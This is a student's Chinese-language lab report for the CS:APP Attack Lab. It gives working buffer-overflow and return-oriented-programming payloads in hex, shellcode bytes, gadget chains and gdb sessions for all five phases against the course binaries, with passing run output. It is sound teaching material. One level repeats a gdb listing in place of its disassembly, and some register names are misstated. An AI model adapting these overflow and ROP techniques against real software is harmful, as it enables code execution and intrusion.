Institute of Physics

CSAPP Lab Report

Attack lab

何业天 PB22000210

2023

Homework N°

3

实验前的准备

1. 实验环境：同上一节 bomblab 一样，通过虚拟机操作 Centos 7 系统。
2. 获取实验文件：在官网上的 Self-Study-Handout 上获取 target1 文件，由 git 传入到虚拟机中的文件夹中。
3. 创建文件：同 bomblab 一样，用 objdump -d ctarget > ctarget.txt 和 objdump -d rtarget > rtarget.txt 生成汇编代码。并创建 tryl1.txt 等汇编代码文件储存攻击代码，创建 func2.txt 等文件存储编写的函数。
4. 调试方法：利用./hex2raw < attack.txt | ./ctarget -q 来运行，也可以利用 gdb 对 ctarget 和 rtarget 进行调试。
5. 实验目标：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	`touch1`	10
2	CTARGET	2	CI	`touch2`	25
3	CTARGET	3	CI	`touch3`	25
4	RTARGET	2	ROP	`touch2`	35
5	RTARGET	3	ROP	`touch3`	5

CI: Code injection
ROP: Return-oriented programming

我们需要做的就是破坏栈，使溢出的代码执行本不该执行的语句。

ctarget_level1

writeup 中给出了 test() 函数的 c 语言代码如下：

```
1 void test()
2 {
3     int val;
4     val = getbuf();
5     printf("No exploit.  Getbuf returned 0x%x\n", val);
6 }
```

本次攻击中要达到的目标是不返回 test 的返回值，而是利用 getbuf() 函数返回 touch1() 函数返回值，touch1() 函数代码如下：

```
1 void touch1()
2 {
3     vlevel = 1;       /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

我们来看一下 getbuf() 函数和 touch1() 函数的汇编代码：

```
00000000004017a8 <getbuf>:
  4017a8:       48 83 ec 28             sub    $0x28,%rsp
  4017ac:       48 89 e7                mov    %rsp,%rdi
  4017af:       e8 8c 02 00 00          callq  401a40 <Gets>
  4017b4:       b8 01 00 00 00          mov    $0x1,%eax
  4017b9:       48 83 c4 28             add    $0x28,%rsp
  4017bd:       c3                      retq
  4017be:       90                      nop
  4017bf:       90                      nop
```

```
00000000004017c0 <touch1>:
  4017c0:       48 83 ec 08             sub    $0x8,%rsp
  4017c4:       c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:       00 00 00
  4017ce:       bf c5 30 40 00          mov    $0x4030c5,%edi
  4017d3:       e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
  4017d8:       bf 01 00 00 00          mov    $0x1,%edi
  4017dd:       e8 ab 04 00 00          callq  401c8d <validate>
  4017e2:       bf 00 00 00 00          mov    $0x0,%edi
  4017e7:       e8 54 f6 ff ff          callq  400e40 <exit@plt>
```

先看 getbuf 函数：其创建了大小为 40 字节的缓冲区，并调用 Gets() 函数来获取输入数据。我们要大量输入代买使这 40 字节的缓冲区满了之后，便能进入返回地址区域，我们需要这个返回地址不是回到 test() 函数。而是去执行 touch1() 函数，那么答案就很明了了，就是取地址 0x4017c0 为返回地址。这里有个问题需要注意：由于 Intel 电脑为小端存储，这里的高地址才是高位。编写的入侵文件 try_l1.txt 如下：

$$
\begin{array}{cccc}
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 \\
c0 & 17 & 40 & 00
\end{array}
\tag{1.1}
$$

ctarget_level2

与 level1 类似，这里我们需要让 getbuf() 函数返回至 touch2 函数，并且传递与 cookie 值相等的值。这里先试运行一下，查看自己的 cookie：

```
[root@hadoop100 attack lab]# ./ctarget -q
Cookie: 0x59b997fa
```

我们也就是要传递值 0x59b997fa，下面看一下 touch2 函数汇编代码：

```
0000000004017ec <touch2>:
  4017ec:       48 83 ec 08             sub    $0x8,%rsp
  4017f0:       89 fa                   mov    %edi,%edx
  4017f2:       c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:       00 00 00
  4017fc:       3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:       75 20                   jne    401824 <touch2+0x38>
  401804:       be e8 30 40 00          mov    $0x4030e8,%esi
  401809:       bf 01 00 00 00          mov    $0x1,%edi
  40180e:       b8 00 00 00 00          mov    $0x0,%eax
  401813:       e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401818:       bf 02 00 00 00          mov    $0x2,%edi
  40181d:       e8 6b 04 00 00          callq  401c8d <validate>
  401822:       eb 1e                   jmp    401842 <touch2+0x56>
  401824:       be 10 31 40 00          mov    $0x403110,%esi
  401829:       bf 01 00 00 00          mov    $0x1,%edi
  40182e:       b8 00 00 00 00          mov    $0x0,%eax
  401833:       e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
  401838:       bf 02 00 00 00          mov    $0x2,%edi
  40183d:       e8 0d 05 00 00          callq  401d4f <fail>
  401842:       bf 00 00 00 00          mov    $0x0,%edi
  401847:       e8 f4 f5 ff ff          callq  400e40 <exit@plt>
```

观察到这里是将%rdx 中的值与 cookie 比较，因此我们需要自己编写一段代码来将%rdi 设定为 0x59b997fa。这里采用书上说的第二种攻击方式。首先先将攻击代码的地址覆盖 getbuf() 函数的返回地址，然后再在攻击代码中对返回地址进行修复，修复方法就是用 pushq 压栈，然后再用 ret 返回至 touch2() 函数即可。首先用汇编语言将函数写入 func2.s 文件，然后先用编译命令 gcc -c func2.s 生成 func2.o，再运用 objdump -d func2.o > func2.txt 进行反汇编操作，得到下图：

```
func2.o:     文件格式 elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq
```

我们不妨在 getbuf() 函数的一开始输入这个函数语句的二进制代码，然后再用 00 来充满 40 字节的缓冲区，接着把返回地址修改为%rsp 地址，这里之所以这样做是因为%rsp 指向的位置其实就是栈顶位置，也就是我们输入的代码的位置。下面设置断点来查看%rsp 的地址，具体方法是在 getbuf() 函数执行时设立断点，然后查询%rsp 地址：

```
(gdb) b *0x4017ac
Breakpoint 6 at 0x4017ac: file buf.c, line 14.
(gdb) run -q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/.ssh/csapp/attack-lab/attack lab/ctarget -q
Cookie: 0x59b997fa

Breakpoint 6, getbuf () at buf.c:14
14      in buf.c
(gdb) p/x $rsp
$6 = 0x5561dc78
```

我们将%rsp 的坐标附在最后即可，得到答案：

$$\begin{array}{cccccccc} 48 & c7 & c7 & fa & 97 & b9 & 59 & 68 \\ ec & 17 & 40 & 00 & c3 & 00 & 00 & 00 \\ 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\ 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\ 00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\ 78 & dc & 61 & 55 & 00 & 00 & 00 & 00 \end{array} \tag{1.2}$$

ctarge_l3

这题给了两个函数，其 c 语言描述如下：

```c
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}


void touch3(char *sval)
{
    vlevel = 3;       /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

touch3() 的反汇编代码如下：

```
(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004018fa <+0>:     push   %rbx
   0x00000000004018fb <+1>:     mov    %rdi,%rbx
   0x00000000004018fe <+4>:     movl   $0x3,0x202bd4(%rip)        # 0x6044dc <vlevel>
   0x0000000000401908 <+14>:    mov    %rdi,%rsi
   0x000000000040190b <+17>:    mov    0x202bd3(%rip),%edi        # 0x6044e4 <cookie>
   0x0000000000401911 <+23>:    callq  0x40184c <hexmatch>
   0x0000000000401916 <+28>:    test   %eax,%eax
   0x0000000000401918 <+30>:    je     0x40193d <touch3+67>
   0x000000000040191a <+32>:    mov    %rbx,%rdx
   0x000000000040191d <+35>:    mov    $0x403138,%esi
   0x0000000000401922 <+40>:    mov    $0x1,%edi
   0x0000000000401927 <+45>:    mov    $0x0,%eax
   0x000000000040192c <+50>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401931 <+55>:    mov    $0x3,%edi
   0x0000000000401936 <+60>:    callq  0x401c8d <validate>
   0x000000000040193b <+65>:    jmp    0x40195e <touch3+100>
   0x000000000040193d <+67>:    mov    %rbx,%rdx
   0x0000000000401940 <+70>:    mov    $0x403160,%esi
   0x0000000000401945 <+75>:    mov    $0x1,%edi
   0x000000000040194a <+80>:    mov    $0x0,%eax
   0x000000000040194f <+85>:    callq  0x400df0 <__printf_chk@plt>
   0x0000000000401954 <+90>:    mov    $0x3,%edi
   0x0000000000401959 <+95>:    callq  0x401d4f <fail>
   0x000000000040195e <+100>:   mov    $0x0,%edi
   0x0000000000401963 <+105>:   callq  0x400e40 <exit@plt>
End of assembler dump.
```

这里跟上一题的不同主要是输入的不是十六进制数了，而是字符串。具体的攻击代码与上一题一致，cookie 也是一样的 0x59b997fa。我们利用 man ascii 来查询每一个 cookie 字符的 ascii 码（不要忘记最后的结束符），得到分别为：35、39、62、39、39、37、66、61、00。这样就构成了我们要传递的 cookie 数组，然而在将数组与 cookie 值比较时，实际上是利用的数组的头指针，也就是说我们需要建立起一个数组结果来存储上述的数。那么如何分配这样一个空间呢，我们输入一段超出缓冲区的代码看一下栈顶位置：

```
(gdb) run -q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/.ssh/csapp/attack-lab/attack lab/ctarget -q
Cookie: 0x59b997fa
Type string:qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

Program received signal SIGSEGV, Segmentation fault.
0x0000000000717171 in ?? ()
(gdb) p/x $rsp
$5 = 0x5561dca8
```

这里得到栈顶的就将作为我们数组的起始位置，与上题一样的是，调用 getbuf() 时的%rsp 位置依旧是 0x5561dc78, 并在这之后依次输入数组便能将其保存至 test() 函数。我们还是看一下 func3.s 转化为 func3.txt 后的内容：

```
(gdb) run -q
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/.ssh/csapp/attack-lab/attack lab/ctarget -q
Cookie: 0x59b997fa
Type string:qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq

Program received signal SIGSEGV, Segmentation fault.
0x0000000000717171 in ?? ()
(gdb) p/x $rsp
$5 = 0x5561dca8
```

整理一下上述的内容后便可以得到与第二题类似的答案：

```
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
```

(1.3)

rtarget_l2

在第二部分中，我们采用的是 Return-Oriented Programming 方法来攻击，其无法在向栈帧中插入代码，而是在原有的代码中找到一段含有 ret 命令的代码（gadget），并利用这段代码来攻击。这里还有一个麻烦，就是采用了栈随机化，这样导致我们不能再像第一部分那样确定栈的位置来进行攻击了。我们先来查看一下可用的 gadget：

```
0000000000401994 <start_farm>:
  401994:       b8 01 00 00 00          mov    $0x1,%eax
  401999:       c3                      retq

000000000040199a <getval_142>:
  40199a:       b8 fb 78 90 90          mov    $0x909078fb,%eax
  40199f:       c3                      retq

00000000004019a0 <addval_273>:
  4019a0:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
  4019a6:       c3                      retq

00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:       c3                      retq

00000000004019ae <setval_237>:
  4019ae:       c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  4019b4:       c3                      retq

00000000004019b5 <setval_424>:
  4019b5:       c7 07 54 c2 58 92       movl   $0x9258c254,(%rdi)
  4019bb:       c3                      retq

00000000004019bc <setval_470>:
  4019bc:       c7 07 63 48 8d c7       movl   $0xc78d4863,(%rdi)
  4019c2:       c3                      retq

00000000004019c3 <setval_426>:
  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:       c3                      retq

00000000004019ca <getval_280>:
  4019ca:       b8 29 58 90 c3          mov    $0xc3905829,%eax
  4019cf:       c3                      retq

00000000004019d0 <mid_farm>:
  4019d0:       b8 01 00 00 00          mov    $0x1,%eax
  4019d5:       c3                      retq
```

本次的任务还是 ctarget level2 的任务，不过限制增多了。根据 writeup, 我们了解到可以使用的寄存器仅限于%rax—%rdi, 所用的函数仅有 movq、popq、nop、ret (在 writeup 里面查表看相应的 16 机制数)。我们要让函数做的效果就是将 cookie 值放置于%rdi 之中，然而在 farm 中并没有直接对%rdi 赋值的语句，因此我们需要组合其中两者。我们在 farm 搜素一通，发现 getval_280 中有” 58 90 c3” 这一串数，对应着 “popq %rax nop ret” ，而 addval_273 便可以找到” 48 89 c7 c3” 这一串数，代表着 “movq %rax,%rdi ret”。因此这里将%eax 作为中间参量，先弹入 cookie 值，再赋值给%rdi。选好了这两个 gadget，后续工作还是先将缓冲区输满，然后先让返回地址返回至 getval_280 第一行 0x4019cc 处；下一步确定栈顶指向的 cookie 值，让其在 pop 运行时弹入%rax；再下一步是上述函数返回至 addval_273 第一行 0x4019a2 处，执行 movq 函数；该函数运行结束后，返回的地址就设置为 touch2 的地址即可。

经过上述分析，可以得到答案：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
```

(1.4)

rtarget_l3

该实验是要达到 ctarget level3 的要求。这次我们的 farm 能用的更多了（从 start_farm 到 end_farm），光用眼睛看显然很满，这里就采取 vim 下的检索来找我们需要的数。我们之前实现的代码是返回 cookie 数组的地址，然而此时 cookie 数组不好再在栈上直接得到固定地址，由于栈随机化，我们需要得到本次过程中的%rsp 位置，才能对数组进行正确存储。

因此，思路的第一步是找一个变量存储%rsp 的值，我们检索到 setval_350 函数含有 “48 89 e0 90 c3”，对应代码为”movq %rsp,%rax nop ret”，此处的地址为 0x401aad。下一步，我们看%rax 有无赋值操作，在地址 0x4019a2 处的” 48 89 c7 c7 c3” 对应 “movq %rax,%rdi ret”，并且对于”popq %rax” 操作，是在地址 0x4019cc 处。对于%rdi，在 0x4019d6 处有” 48 8d 04 37 c3” 对应 “lea (%rdi,%rsi,1),%rax ret”。对于%rsi，在 0x401a13 处有” 89 ce 90 90 c3” 对应 “movl %ecx,%esi ret”。对于%eci，在 0x401a70 处有” 89 d1 91 c3 “对应” movl %edx,%ecx nop ret”。再看%edx 的赋值，在 0x4019dd 处有 “89 c2 90 c3”，对应”movl %eax,%edx nop ret”，至此已经形成一个闭环，我们可以通过 “lea(%rdi,%rsi,1),%rax ret” 来将%rsp 传输至%rax 中，再利用 “movq %rax,%rdi ret” 传入%rdi 后，后面的操作就与 ctarget 中的一致了。要注意一件事，因为运行了这么多函数，我们需要给%eax 一个改变量，这个偏移量就是%rsp 的改变量，即为 0x48。

综合一下上述过程的顺序，我们便能得到答案：

$$
\begin{array}{cccccccc}
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
00 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
ad & 1a & 40 & 00 & 00 & 00 & 00 & 00 \\
a2 & 19 & 40 & 00 & 00 & 00 & 00 & 00 \\
\text{cc} & 19 & 40 & 00 & 00 & 00 & 00 & 00 \\
48 & 00 & 00 & 00 & 00 & 00 & 00 & 00 \\
\text{dd} & 19 & 40 & 00 & 00 & 00 & 00 & 00 \\
70 & 1a & 40 & 00 & 00 & 00 & 00 & 00 \\
13 & 1a & 40 & 00 & 00 & 00 & 00 & 00 \\
\text{d6} & 19 & 40 & 00 & 00 & 00 & 00 & 00 \\
a2 & 19 & 40 & 00 & 00 & 00 & 00 & 00 \\
\text{fa} & 18 & 40 & 00 & 00 & 00 & 00 & 00 \\
35 & 39 & 62 & 39 & 39 & 37 & 66 & 61
\end{array}
\tag{1.5}
$$

运行结果

```
[root@hadoop100 attack lab]# ./hex2raw <try_l1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 (
0 17 40 00
```

```
[root@hadoop100 attack lab]# ./hex2raw <try_l2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3
8 DC 61 55 00 00 00 00
```

```
[root@hadoop100 attack lab]# ./hex2raw <try_l3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3
8 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
```

```
[root@hadoop100 attack lab]# ./hex2raw <try_l4.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00
C 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17
```

```
[root@hadoop100 attack lab]# ./hex2raw < try_l5.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
D 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD
0 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
```

实验总结

Attacklab 是很有意思的实验，但在 5 个实验中, 我学习了如何通过缓冲区溢出来返回地址至其他函数, 学习了如何利用栈指针返回到自己的函数，学习了如何进行稍微复杂的函数转换，学习了在 ROP 背景下如何在 farm 栏中”断章取义“得到可运行的代码语句。做出这些东西的时候确实十分有乐趣，并且能更好的利用攻击者的角度看到栈可能遭到破坏的方式，也更深刻的了解了栈的保护机制。